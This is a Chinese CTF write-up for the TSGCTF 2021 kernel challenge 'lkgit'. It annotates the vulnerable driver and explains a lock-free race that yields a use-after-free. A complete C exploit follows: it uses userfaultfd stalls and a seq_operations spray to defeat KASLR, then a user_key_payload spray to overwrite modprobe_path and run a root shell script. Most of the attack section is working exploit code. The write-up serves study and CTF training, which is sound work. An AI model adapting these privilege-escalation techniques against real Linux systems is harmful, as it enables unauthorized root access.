【userfaultfd+条件竞争劫持modprobe_path】TSGCTF 2021 -- lkgit

news2024/12/23 21:00:08

前言

入门题,单纯就是完成每日一道 kernel pwnkpi 😀

题目分析

  • 内核版本:v5.10.25,可以使用 userfaultfd,不存在 cg 隔离
  • 开启了 smap/smep/kaslr/kpti 保护
  • 开启了 SLAB_HADNERN/RANDOM 保护

题目给了源码,其实现了一个 light git?总的来说,整个过程都没有上锁,所以对应临界区资源存在竞争漏洞:

#include <linux/errno.h>
#include <linux/fs.h>
#include <linux/miscdevice.h>
#include <linux/module.h>
#include <linux/miscdevice.h>
#include <linux/slab.h>
#include"../include/lkgit.h"

hash_object *objects[HISTORY_MAXSZ] = {0}; // HISTORY_MAXSZ = 0x30 

static int find_by_hash(char *hash) {
	int ix;
	for (ix = 0; ix != HISTORY_MAXSZ; ++ix) {
		if (objects[ix] != NULL && memcmp(hash, objects[ix]->hash, HASH_SIZE) == 0)
			return ix;
	}
	return -1;
}

static void get_hash(char *content, char *buf) {
	int ix,jx;
	unsigned unit = FILE_MAXSZ / HASH_SIZE;
	char c;
	for (ix = 0; ix != HASH_SIZE; ++ix) {
		c = 0;
		for(jx = 0; jx != unit; ++jx) {
			c ^= content[ix * unit + jx];
		}
		buf[ix] = c;
	}
}

static long save_object(hash_object *obj) {
	int ix;
	int dup_ix;
	// first, find conflict of hash
	// 对应 hash 的 object 是否已经存在,存在则释放掉
	if((dup_ix = find_by_hash(obj->hash)) != -1) {
		// 仅仅释放了 hash_object,里面的 content/message 指针都没有释放(:存在内存泄漏问题,但是与漏洞利用无关
		kfree(objects[dup_ix]);
		objects[dup_ix] = NULL;
	}
	// assign object
	// 存储 object
	for (ix = 0; ix != HISTORY_MAXSZ; ++ix) {
		if (objects[ix] == NULL) {
			objects[ix] = obj;
			return 0;
		}
	}
	return -LKGIT_ERR_UNKNOWN;
}

static long lkgit_hash_object(hash_object *reqptr) {
	long ret = -LKGIT_ERR_UNKNOWN;
	char *content_buf = kzalloc(FILE_MAXSZ, GFP_KERNEL); // 0x40
	char *message_buf = kzalloc(MESSAGE_MAXSZ, GFP_KERNEL); // 0x20
	hash_object *req = kzalloc(sizeof(hash_object), GFP_KERNEL); // 0x20
	if (IS_ERR_OR_NULL(content_buf) || IS_ERR_OR_NULL(message_buf) || IS_ERR_OR_NULL(req))
		goto end;

	if (copy_from_user(req, reqptr, sizeof(hash_object)))
		goto end;

	if (copy_from_user(content_buf, req->content, FILE_MAXSZ)
		|| copy_from_user(message_buf, req->message, MESSAGE_MAXSZ))
		goto end;

	req->content = content_buf;
	req->message = message_buf;
	// 计算 content_buf 的 hash,结果存储在 req->hash 中
	// content_buf 的大小为 64,hash 的大小为 16
	// 所以这里 hash[idx] = content_buf[i] ^ content_buf[i+1] ^ content_buf[i+2] ^ content_buf[i+3]
	get_hash(content_buf, req->hash);
	// 返回用户 hash 值
	if (copy_to_user(reqptr->hash, req->hash, HASH_SIZE)) {
		goto end;
	}

	ret = save_object(req);

end:
  return ret;
}

static long lkgit_get_object(log_object *req) {
	long ret = -LKGIT_ERR_OBJECT_NOTFOUND;
	char hash_other[HASH_SIZE] = {0};
	char hash[HASH_SIZE];
	int target_ix;
	hash_object *target;
	if (copy_from_user(hash, req->hash, HASH_SIZE))
		goto end;
	
	if ((target_ix = find_by_hash(hash)) != -1) {
		target = objects[target_ix];
		// 返回 content 给用户
		if (copy_to_user(req->content, target->content, FILE_MAXSZ))
			goto end;

		// validity check of hash
		// 检查 hash
		get_hash(target->content, hash_other);
		if (memcmp(hash, hash_other, HASH_SIZE) != 0)
			goto end;
		
		if (copy_to_user(req->message, target->message, MESSAGE_MAXSZ)) // <=========== stop to bypass kaslr
			goto end;
		if (copy_to_user(req->hash, target->hash, HASH_SIZE))
			goto end;
		ret = 0;
	}

end:
	return ret;
}

static long lkgit_amend_message(log_object *reqptr) {
	long ret = -LKGIT_ERR_OBJECT_NOTFOUND;
	char buf[MESSAGE_MAXSZ];
	log_object req = {0};
	int target_ix;
	hash_object *target;
	if(copy_from_user(&req, reqptr->hash, HASH_SIZE))
		goto end;

	if ((target_ix = find_by_hash(req.hash)) != -1) {
		target = objects[target_ix];
		// save message temporarily
		// 修改 message
		if (copy_from_user(buf, reqptr->message, MESSAGE_MAXSZ)) // <============== stop to arb_write
			goto end;
		// return old information of object
		ret = lkgit_get_object(reqptr);
		// amend message
		memcpy(target->message, buf, MESSAGE_MAXSZ);
	}

	end:
		return ret;
}

static long lkgit_ioctl(struct file *filp, unsigned int cmd, unsigned long arg) {
	switch(cmd){
		case LKGIT_HASH_OBJECT:
			return lkgit_hash_object((hash_object *)arg);
		case LKGIT_GET_OBJECT:
			return lkgit_get_object((log_object*)arg);
		case LKGIT_AMEND_MESSAGE:
			return lkgit_amend_message((log_object*)arg);
		default:
			return -LKGIT_ERR_UNIMPLEMENTED;
		};
}

static const struct file_operations lkgit_fops = {
	.owner = THIS_MODULE,
	.unlocked_ioctl = lkgit_ioctl,
};

static struct miscdevice lkgit_device = {
	.minor = MISC_DYNAMIC_MINOR,
	.name = "lkgit",
	.fops = &lkgit_fops,
};

static int __init lkgit_init(void) {
	return misc_register(&lkgit_device);
}

static void __exit lkgit_exit(void) {
	misc_deregister(&lkgit_device);
}

module_init(lkgit_init);
module_exit(lkgit_exit);
MODULE_AUTHOR("TSGCTF");
MODULE_LICENSE("GPL");

题目主要维护的结构体如下:

typedef struct {
  char hash[HASH_SIZE];
  char *content;
  char *message;
} hash_object;

typedef struct {
  char hash[HASH_SIZE];
  char content[FILE_MAXSZ];
  char message[MESSAGE_MAXSZ];
} log_object;

通过源码可以看到,这里保存的是 hash_object 结构体,然后 content => kmalloc-64message => kmalloc-32hash_object => kmalloc-32,所以这里 message / hash_object 在同一个 slab-cache

然后通过源码可以发现,对堆块的释放仅仅在 save_object 函数中存在:

static long save_object(hash_object *obj) {
	int ix;
	int dup_ix;
	// first, find conflict of hash
	// 对应 hash 的 object 是否已经存在,存在则释放掉
	if((dup_ix = find_by_hash(obj->hash)) != -1) {
		// 仅仅释放了 hash_object,里面的 content/message 指针都没有释放(:存在内存泄漏问题,但是与漏洞利用无关
		kfree(objects[dup_ix]);
		objects[dup_ix] = NULL;
	}
	// assign object
	// 存储 object
	for (ix = 0; ix != HISTORY_MAXSZ; ++ix) {
		if (objects[ix] == NULL) {
			objects[ix] = obj;
			return 0;
		}
	}
	return -LKGIT_ERR_UNKNOWN;
}

而且这里只是释放了 hash_object,而 content / message 对应的内存都没有释放(:这里其实也算是一个 bug。而 save_object 是在 lkgit_hash_object 中调用的,每次保存创建的 hash_object 时,都会检查 objects 数组中是否存在相同 hashhash_object,如果存在则会把原来的释放掉

而前面说了,整个过程都没有上锁,所以可以在执行其它操作时,在 save_object 中将原来的 hash_object 释放掉,这时可能会导致 UAF

漏洞利用

题目开启了 kaslr,所以第一步就是去 bypass kaslr,这里主要利用 lkgit_get_object 函数:

static long lkgit_get_object(log_object *req) {
	long ret = -LKGIT_ERR_OBJECT_NOTFOUND;
	char hash_other[HASH_SIZE] = {0};
	char hash[HASH_SIZE];
	int target_ix;
	hash_object *target;
	if (copy_from_user(hash, req->hash, HASH_SIZE))
		goto end;
	
	if ((target_ix = find_by_hash(hash)) != -1) {
		target = objects[target_ix];
		// 返回 content 给用户
		if (copy_to_user(req->content, target->content, FILE_MAXSZ))
			goto end;

		// validity check of hash
		// 检查 hash
		get_hash(target->content, hash_other);
		if (memcmp(hash, hash_other, HASH_SIZE) != 0)
			goto end;
		
		if (copy_to_user(req->message, target->message, MESSAGE_MAXSZ)) // 【1】 <=========== stop to bypass kaslr
			goto end;
		if (copy_to_user(req->hash, target->hash, HASH_SIZE)) // 【2】
			goto end;
		ret = 0;
	}

end:
	return ret;
}

这里用户传入的是 log_object 结构体:

typedef struct {
  char hash[HASH_SIZE];
  char content[FILE_MAXSZ];
  char message[MESSAGE_MAXSZ];
} log_object;

我们可以在【1】处使用 userfaultfd 使得暂停,然后释放掉 target,在堆喷 seq_operations 占据释放后的 target,那么恢复执行后,在【2】处就可以泄漏 kbase(:此时复制的 hash 就是 seq_operations 的前 0x10 字节

后面笔者打的是 modprobe_path,这里主要利用 lkgit_amend_message 函数:

static long lkgit_amend_message(log_object *reqptr) {
	long ret = -LKGIT_ERR_OBJECT_NOTFOUND;
	char buf[MESSAGE_MAXSZ];
	log_object req = {0};
	int target_ix;
	hash_object *target;
	if(copy_from_user(&req, reqptr->hash, HASH_SIZE))
		goto end;

	if ((target_ix = find_by_hash(req.hash)) != -1) {
		target = objects[target_ix];
		// save message temporarily
		// 修改 message
		if (copy_from_user(buf, reqptr->message, MESSAGE_MAXSZ)) // 【1】<============== stop to arb_write
			goto end;
		// return old information of object
		ret = lkgit_get_object(reqptr);
		// amend message
		memcpy(target->message, buf, MESSAGE_MAXSZ); // 【2】
	}

	end:
		return ret;
}

同样的道理,在【1】处利用 userfaultfd 使其暂停下来,然后释放掉 target,此时堆喷 user_key_payload,并伪造 message 字段为 modprobe_path,那么恢复执行后,在 【2】处就是往 modprobe_path 中写入数据

最后 exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif

#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>

void err_exit(char *msg)
{
        perror(msg);
        sleep(2);
    exit(EXIT_FAILURE);
}

void fail_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
        sleep(2);
    exit(EXIT_FAILURE);
}

void info(char *msg)
{
    printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}

void hexx(char *msg, size_t value)
{
    printf("\033[32m\033[1m[+] %s: %#lx\n\033[0m", msg, value);
}

void binary_dump(char *desc, void *addr, int len) {
    uint64_t *buf64 = (uint64_t *) addr;
    uint8_t *buf8 = (uint8_t *) addr;
    if (desc != NULL) {
        printf("\033[33m[*] %s:\n\033[0m", desc);
    }
    for (int i = 0; i < len / 8; i += 4) {
        printf("  %04x", i * 8);
        for (int j = 0; j < 4; j++) {
            i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");
        }
        printf("   ");
        for (int j = 0; j < 32 && j + i * 8 < len; j++) {
            printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
        }
        puts("");
    }
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

#define LKGIT_HASH_OBJECT         0xdead0001
#define LKGIT_AMEND_MESSAGE       0xdead0003
#define LKGIT_GET_OBJECT          0xdead0004

#define LKGIT_ERR_UNIMPLEMENTED   0xdead1000
#define LKGIT_ERR_OBJECT_NOTFOUND 0xdead1001
#define LKGIT_ERR_UNKNOWN         0xdead1100

#define FILE_MAXSZ                0x40
#define MESSAGE_MAXSZ             0x20
#define HISTORY_MAXSZ             0x30

#define HASH_SIZE                 0x10

typedef struct {
  char hash[HASH_SIZE];
  char *content;
  char *message;
} hash_object;

typedef struct {
  char hash[HASH_SIZE];
  char content[FILE_MAXSZ];
  char message[MESSAGE_MAXSZ];
} log_object;

int fd;
uint64_t kbase;
uint64_t koffset;
char ghash[HASH_SIZE];
char gcontent[FILE_MAXSZ];
char gmessage[MESSAGE_MAXSZ];

void add(char* hash, char* content, char* message) {
        hash_object o = { .content = content, .message = message };
        ioctl(fd, LKGIT_HASH_OBJECT, &o);
        memcpy(hash, o.hash, HASH_SIZE);
}

void show(char* hash, char* content, char* message) {
        log_object o = { 0 };
        memcpy(o.hash, hash, HASH_SIZE);
        ioctl(fd, LKGIT_GET_OBJECT, &o);
        memcpy(content, o.content, FILE_MAXSZ);
//      memcpy(message, o.message, MESSAGE_MAXSZ);
}

void amend(char* hash, char* content, char* message) {
        log_object o = { 0 };
        memcpy(o.hash, hash, HASH_SIZE);
        memcpy(o.message, message, MESSAGE_MAXSZ);
        ioctl(fd, LKGIT_GET_OBJECT, &o);
        memcpy(content, o.content, FILE_MAXSZ);
}

int key_alloc(char *description, char *payload, size_t plen)
{
    return syscall(__NR_add_key, "user", description, payload, plen,
                   KEY_SPEC_PROCESS_KEYRING);
}

void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{
        long uffd;
        struct uffdio_api uffdio_api;
        struct uffdio_register uffdio_register;

        uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);
        if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);

        uffdio_api.api = UFFD_API;
        uffdio_api.features = 0;
        if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);

        uffdio_register.range.start = (long long)addr;
        uffdio_register.range.len = len;
        uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;
        if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) puts("[X] ioctl-UFFDIO_REGISTER"), exit(-1);

        if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)
                puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}

char copy_src[0x1000];
void* handler1(void* arg)
{
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;
        long uffd = (long)arg;

        for(;;)
        {
                int res;
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);

                res = read(uffd, &msg, sizeof(msg));
                if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
                if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
                if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);

                puts("[+] Now in userfaultfd handler1");
                #define SEQ_NUMS 0x30
                int seq_fds[SEQ_NUMS];
                memset(gcontent, 0, FILE_MAXSZ);
                add(ghash, gcontent, gmessage);

                for (int i = 0; i < 0x20; i++) {
                        seq_fds[i] = open("/proc/self/stat", O_RDONLY);
                        if (seq_fds[i] < 0) err_exit("open /proc/self/stat");
                }

                uffdio_copy.src = (long long)copy_src;
                uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
        }
}

void* handler2(void* arg)
{
        struct uffd_msg msg;
        struct uffdio_copy uffdio_copy;
        long uffd = (long)arg;

        for(;;)
        {
                int res;
                struct pollfd pollfd;
                pollfd.fd = uffd;
                pollfd.events = POLLIN;
                if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);

                res = read(uffd, &msg, sizeof(msg));
                if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);
                if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);
                if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);

                puts("[+] Now in userfaultfd handler2");
                #define KEY_NUMS 0x30
                char desc[0x10];
                uint64_t buf[4];
                int key_ids[KEY_NUMS];
                buf[0]=buf[1]=buf[2]=buf[3]= koffset + 0xffffffff81c3cb20;
                memset(ghash, 0, HASH_SIZE);
                memcpy(gcontent, "ABCD", 4);
                add(ghash, gcontent, gmessage);

                for (int i = 0; i < KEY_NUMS; i++) {
                        sprintf(desc, "%s%d", "k", i);
                        key_ids[i] = key_alloc(desc, buf, 8);
                        if (key_ids[i] < 0) err_exit("key_alloc");
                }

                memcpy(copy_src, "/tmp/x", strlen("/tmp/x"));

                uffdio_copy.src = (long long)copy_src;
                uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);
                uffdio_copy.len = 0x1000;
                uffdio_copy.mode = 0;
                uffdio_copy.copy = 0;
                if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);
        }
}

void get_flag(){
        system("echo -ne '#!/bin/sh\n/bin/chmod 777 /home/user/flag' > /tmp/x");
        system("chmod +x /tmp/x");
        system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy");
        system("chmod +x /tmp/dummy");
        system("/tmp/dummy");
        sleep(0.3);
        system("cat /home/user/flag");
        exit(0);
}

int main(int argc, char** argv, char** envp)
{
        bind_core(0);
        char buf[0x1000] = { 0 };
        char hash[HASH_SIZE] = { 0 };
        char content[FILE_MAXSZ] = { 0 };
        char message[MESSAGE_MAXSZ] = { 0 };
        pthread_t thr1, thr2;
        char* uffd1_buf, *uffd2_buf;
        fd = open("/dev/lkgit", O_RDONLY);
        if (fd < 0) err_exit("open /dev/lkgit");

        uffd1_buf = mmap(NULL, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
        uffd2_buf = mmap(NULL, 0x2000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
        if (uffd1_buf == MAP_FAILED || uffd2_buf == MAP_FAILED) err_exit("mmap for uffd_buf");

        register_userfaultfd(&thr1, uffd1_buf+0x1000, 0x1000, handler1);
        register_userfaultfd(&thr2, uffd2_buf+0x1000, 0x1000, handler2);
        memset(content, 0, FILE_MAXSZ);
        add(hash, content, message);

        log_object* o = (log_object*)(uffd1_buf + 0x1000 - HASH_SIZE - FILE_MAXSZ);
        memcpy(o->hash, hash, HASH_SIZE);
        ioctl(fd, LKGIT_GET_OBJECT, o);
        binary_dump("LEAK DATA", o->hash, HASH_SIZE);

        koffset = *(uint64_t*)(o->hash);
        if (koffset&0xfff != 0xc20) fail_exit("bypase kaslr");
        koffset -= 0xffffffff811adc20;
        kbase = 0xffffffff81000000 + koffset;
        printf("[+] koffset:  %#llx\n", koffset);

        memcpy(content, "ABCD", 4);
        add(hash, content, message);

        o = (log_object*)(uffd2_buf + 0x1000 - HASH_SIZE - FILE_MAXSZ);
        memcpy(o->hash, hash, HASH_SIZE);
        ioctl(fd, LKGIT_AMEND_MESSAGE, o);

        get_flag();
        puts("[+] EXP NERVER END");
        return 0;
}

效果如下:
在这里插入图片描述

总结

题目比较简单,userfaultfd 的艺术其实基本用不了了,但是我发现我越来越依赖 modprobe_path 了,然后 user_key_payload 真是一个比较完美的堆喷对象

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1666019.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

HarmonyOS NEXT星河版之模拟图片选择器(下)---使用Swiper实现图片滑动预览

文章目录 一、目标二、开撸2.1 改造图片预览Dialog2.2 改造主页面2.3 主页面完整代码 三、小结 一、目标 在前面的介绍中&#xff0c;查看选中的图片都是单张预览&#xff0c;接下来要改造成多张可滑动预览&#xff0c;如下&#xff1a; 二、开撸 2.1 改造图片预览Dialog …

【c++】set、map用法详解

set、map用法详解 1. 关联式容器2. 键值对2.1 &#xff1a;pair2.2&#xff1a;make_pair 3. 树形结构的关联式容器3.1&#xff1a;set构造函数find()erase()insert()count()lower_bound()upper_bound() 3.2&#xff1a;multiset3.3&#xff1a;map构造函数insert()operator[] …

如何在bud里弄3d模型?---模大狮模型网

随着数字化设计的不断发展&#xff0c;越来越多的设计软件提供了对3D模型的支持&#xff0c;为设计师们带来了更广阔的创作空间。Bud作为一款功能强大的设计工具&#xff0c;也提供了添加和编辑3D模型的功能&#xff0c;让用户能够更加灵活地进行设计创作。本文将为您详细介绍如…

最新网页版USB转串口芯片CH340中文规格书手册(20240511)

前言 南京沁恒的产品已经很成熟了&#xff0c;完全可替代国外USB转串口产品&#xff0c;不必迷信FT232&#xff0c;CP2102之类了。 另外&#xff0c;急着买芯片&#xff0c;直接跑过去的&#xff0c;看过几次妹子了:) CH340手册&#xff0c;基于网页3.3版本&#xff0c;规格书…

ARM单片机实现流水灯(GD32)

根据上图可知使用的引脚分别是PA8,PE6,PF6流水灯功能的实现要分别初始化这几个引脚 流水灯实现 编写流水灯代码 LED.C #include "gd32f30x.h" // Device header #include "Delay.h" // 初始化LED灯 void LED_Init(void){// 使能RCU时钟…

正点原子FreeRTOS学习笔记——列表与列表项

目录 一、什么是列表和列表项 1、概念 2、FreeRTOS代码 &#xff08;1&#xff09;列表 &#xff08;2&#xff09;列表项 &#xff08;3&#xff09;迷你列表项 二、列表与列表项初始化 1、列表初始化 2、列表项初始化 三、列表插入与删除列表项 1、原理解释 2、…

2024.1IDEA 到2026年

链接&#xff1a;https://pan.baidu.com/s/1hjJEV5A5k1Z9JbPyBXywSw?pwd9g4i 提取码&#xff1a;9g4i解压之后,按照 操作说明.txt 操作; IntelliJ IDEA 2024.1 (Ultimate Edition) Build #IU-241.14494.240, built on March 28, 2024 Licensed to gurgles tumbles You have…

如何给扫描好的3d模型贴图?---模大狮模型网

在数字化设计领域&#xff0c;3D模型的贴图是提升模型逼真度和视觉效果的重要步骤之一。尤其是对于扫描好的3D模型&#xff0c;通过添加适当的贴图&#xff0c;不仅可以增强模型的细节和真实感&#xff0c;还可以为设计带来更加生动的视觉体验。本文将为您详细介绍如何给扫描好…

探索全画面塑料焊接透光率检测仪的科技魅力

在精密工业和科研领域中&#xff0c;对材料的光学性能有着严格的要求。全画面塑料焊接透光率检测仪是一种先进的设备&#xff0c;它能够精确测量塑料焊接接头的透光率&#xff0c;确保焊接质量符合高标准。本文将详细介绍这一设备的特点、工作原理以及它在实际应用中的重要性。…

【Vue基础】Vue在组件数据传递详解

Vue核心基础-CSDN博客 先回顾Vue特性&#xff1a; Vue.js 是一个用于构建用户界面的渐进式框架&#xff0c;具有许多强大的特性。以下是一些主要的 Vue 特性&#xff1a; 响应式数据&#xff1a;Vue 使用双向绑定来实现数据的响应式更新。当数据发生变化时&#xff0c;视图会自…

LLM一些适合小白的入门项目和视频

AIX 大模型专区学习&#xff08;史上最丰富&#x1f973;&#xff09; https://github.com/stay-leave/enhance_llm 图谱大哥五一写得。 【对于卷积神经网络&#xff0c;硕士博士不需要搞明白原理&#xff0c;只要会应用是这样吗&#xff1f;-pytorch/深度学习/神经网络】 htt…

draw.io 网页版二次开发(3):打包和部署(war包)

目录 一 说明 二 环境配置 1. 下载并安装 Apache Ant 2. 下载并安装JDK和JRE 3. 下载tomcat 4. Ant、JDK和JRE 环境变量的配置 三 draw.io打包 四 部署 五 最后 一 说明 应公司项目要求&#xff0c;需要对draw.io进行二次开发&#xff0c;并将html界面通过iframe 嵌…

超详细的胎教级Stable Diffusion使用教程(四)

这套课程分为五节课&#xff0c;会系统性的介绍sd的全部功能和实操案例&#xff0c;让你打下坚实牢靠的基础 一、为什么要学Stable Diffusion&#xff0c;它究竟有多强大&#xff1f; 二、三分钟教你装好Stable Diffusion 三、小白快速上手Stable Diffusion 四、Stable dif…

stm32_RTC_2_HAL——stm32CudeMX

介绍 RTC&#xff08;实时时钟&#xff09;不仅仅提供计数功能&#xff0c;它是一个完整的时钟和日历模块&#xff0c;用于提供日期和时间信息。RTC 能够提供年、月、日、星期、时、分、秒等时间信息&#xff0c;并且通常具有闹钟功能&#xff0c;可以用于定时唤醒或触发事件。…

淘宝购物新玩法,用API接口解读商品评价

淘宝作为中国最大的网络购物平台之一&#xff0c;拥有海量的商品和众多的消费者评价。传统的购物方式往往需要花费大量的时间和精力筛选信誉度高的商品和有用的评价&#xff0c;而如今&#xff0c;联讯数据通过API接口&#xff0c;你可以更轻松地解读商品评价&#xff0c;挖掘出…

设施农业(大棚种植)远程监控系统设计 STM32+51单片机 含pcb 上下位机源码 原理图

目录 摘要 1. 引言 2. 系统方案 3. 系统硬件设计 4. 系统软件设计 5. 系统创新 6. 评测与结论 7、实物图 8、原理图 ​9、程序 10、资料内容 资料下载地址&#xff1a;设施农业(大棚种植)远程监控系统设计 STM3251单片机 含pcb 上下位机源码 原理图 论文 摘要 …

如何根据招聘信息打造完美简历

如何根据招聘信息打造完美简历 招聘信息分析简历调整策略个性化与关键词结语 在求职过程中&#xff0c;简历是第一块敲门砖。它不仅展示了你的专业技能和工作经验&#xff0c;还体现了你对所申请职位的理解和热情。然而&#xff0c;如何从招聘信息中提炼关键点&#xff0c;打造…

halcon 2D模板匹配 3D

一、概述 模板匹配常用于定位和查找&#xff0c;有很多的方式&#xff0c;halcon 中就有灰度匹配 、形状匹配、变形匹配、缩放匹配等&#xff0c;其实最常用的还是两种第一个就是灰度匹配、还有就是形状匹配 二、金字塔概述 网上有很多关于金字塔的解释&#xff0c;我这里直…

OpenHarmony 实战开发——轻量带屏解决方案之恒玄芯片移植案例

本文章基于恒玄科技BES2600W芯片的欧智通 Multi-modal V200Z-R开发板 &#xff0c;进行轻量带屏开发板的标准移植&#xff0c;开发了智能开关面板样例&#xff0c;同时实现了ace_engine_lite、arkui_ui_lite、aafwk_lite、appexecfwk_lite、HDF等部件基于OpenHarmony LiteOS-M内…

基于PSO粒子群优化的PV光伏发电系统simulink建模与仿真

目录 1.课题概述 2.系统仿真结果 3.核心程序与模型 4.系统原理简介 4.1 粒子群优化算法基础 4.2 PV系统及其最大功率点跟踪 4.3 PSO在PV MPPT中的应用 5.完整工程文件 1.课题概述 基于PSO粒子群优化的PV光伏发电系统simulink建模与仿真。通过PSO粒子群优化进行最大功率…